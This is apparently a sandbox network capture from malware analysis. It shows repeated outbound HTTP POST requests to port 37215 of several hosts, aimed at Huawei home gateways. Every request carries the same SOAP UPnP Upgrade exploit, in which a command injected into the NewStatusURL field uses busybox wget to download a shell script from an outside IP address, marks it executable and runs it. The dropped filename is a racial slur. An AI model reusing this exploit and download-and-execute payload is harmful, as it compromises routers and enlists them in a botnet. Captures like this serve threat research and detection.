Feb 19, 2024 18:37:55.872634888 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
158	192.168.2.15	43996	121.199.82.199	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:48.046854019 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
159	192.168.2.15	38758	45.117.144.54	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:48.111820936 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:49.568723917 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:51.296866894 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:54.848759890 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:01.760540962 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:15.584098101 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
160	192.168.2.15	51252	45.207.190.38	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:48.124469995 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
